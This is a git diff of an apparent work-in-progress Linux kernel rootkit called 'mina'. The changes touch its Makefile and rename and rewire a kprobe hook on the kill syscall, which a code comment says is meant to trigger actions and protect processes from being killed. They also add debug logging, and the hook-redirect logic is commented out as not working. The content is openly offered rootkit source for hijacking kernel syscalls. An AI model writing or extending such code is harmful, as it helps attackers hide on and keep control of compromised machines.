mina.ko

diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -26,20 +26,18 @@ clean: ## cleans up build artifacts
 	find . -type f -name *.o -delete
 
 load: ## loads the rootkit on the system
-	@dmesg -C
 	@insmod *.ko
+	@dmesg -wH
 	@dmesg
 
 unload: ## unloads the rootkit from the system
-	@dmesg -C
 	@rmmod *.ko
+	@dmesg -wH
 	@dmesg
 
-deps: ## install build dependencies for debian-based systems
+deps: ## install build dependencies for debian-based systems (run as root)
 	@apt-get install -y \
 		gcc make build-essential libncurses-dev exuberant-ctags \
 		build-essential linux-headers-`uname -r`
 
-
-
 .PHONY: clean deps load unload

diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -5,11 +5,9 @@ void *_kill = NULL;
 
 int magic_flag = 0;
 
-asmlinkage int64_t h_kill(const struct pt_regs *r) {
+asmlinkage int64_t hook_syskill(const struct pt_regs *r) {
     _kill = (!_kill) ? hook_linear_search("__x64_sys_kill") : _kill;
-
     magic_flag = (magic_flag != 0);
     printk(KERN_INFO "switched magic flag to %d. MEOW...\n", magic_flag);
-
     return make_syscall(_kill, r);
 }

diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -19,7 +19,7 @@ typedef struct mina__hook {
 } hook_t;
 
 /* HOOKS definitions :) */
-asmlinkage int64_t h_kill(const struct pt_regs *);
+asmlinkage int64_t hook_syskill(const struct pt_regs *);
 
 // hooks/utils.c
 int nb_hooks(void);

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -16,7 +16,7 @@ MODULE_VERSION("0.0.1");
 
 hook_t SYS_HOOKS[] = {
     /* used to trigger actions, prevent from killing some process */
-    {.hook = NULL, .kpb = {.symbol_name = "__x64_sys_kill"}},
+    {.hook = hook_syskill, .kpb = {.symbol_name = "__x64_sys_kill"}},
 
 };
 
@@ -39,26 +39,31 @@ int make_syscall(void *callme, const struct pt_regs *regs) {
     /* to avoid recursively call hook, we check in hook if r14 == MINA_INHOOK_FLAG */
 
     int ret = 0;
-    asm("mov %1, %%r14;"
+    asm("mov %1, %%r15;"
         "mov %2, %%rdi;"
         "call *%3;"
         "mov %%rax, %0"
         : "=m"(ret)
         : "i"(MINA_INHOOK_FLAG), "r"(regs), "m"(callme)
-        : "%r14", "%rdi", "%rax");
+        : "%r15", "%rdi", "%rax");
     return ret;
 }
 
 int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
 
-    if (r->r14 == MINA_INHOOK_FLAG)
+    printk(KERN_INFO "[MINA] entering trampoline (kp=%p, r=%p)\n", kp, r);
+
+    if (r->r15 == MINA_INHOOK_FLAG)
         return 0;
 
     for (int i = 0; i < nb_hooks(); i++) {
-        if (kp == &SYS_HOOKS[i].kpb) {
+        /*  NOTE(djnn): something's fucked here. not sure why yet.
+
+           if (kp == &SYS_HOOKS[i].kpb) {
+            printk(KERN_INFO "[MINA] hit hook for %s\n", SYS_HOOKS[i].kpb.symbol_name);
             r->ip = (uint64_t)SYS_HOOKS[i].hook;
             return 1;
-        }
+        }*/
     }
     return 0;
 }
@@ -66,14 +71,16 @@ int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
 static void __setup_hooks(void) {
     hook_t *iter = NULL;
 
-    printk(KERN_INFO "[MINA] setting up hooks\n");
-
+    printk(KERN_INFO "[MINA] nb hooks to set up: %d\n", nb_hooks());
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
+
+        printk(KERN_INFO "[MINA] going over %s\n", iter->kpb.symbol_name);
         iter->kpb.pre_handler = __hook_tranpoline;
 
+        printk(KERN_INFO "[MINA] setting tranpoline OK. calling register kprobe()\n");
         if (register_kprobe(&iter->kpb) != 0) {
-            printk(KERN_INFO "[MINA] failed to register kprobe for %s", iter->kpb.symbol_name);
+            printk(KERN_INFO "[MINA] failed to register kprobe for %s\n", iter->kpb.symbol_name);
             continue;
         }
 
@@ -91,12 +98,6 @@ static void __remove_hooks(void) {
 
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
-
-        printk(KERN_INFO "[MINA] removing hook for %s (0x%px => 0x%px)",
-               iter->kpb.symbol_name,
-               iter->hook,
-               iter->kpb.addr);
-
         unregister_kprobe(&iter->kpb);
     }
 }
@@ -123,7 +124,6 @@ static int __init module_start(void) {
 }
 
 static void __exit module_end(void) {
-    printk(KERN_INFO "meow meow\n");
     __remove_hooks();
 }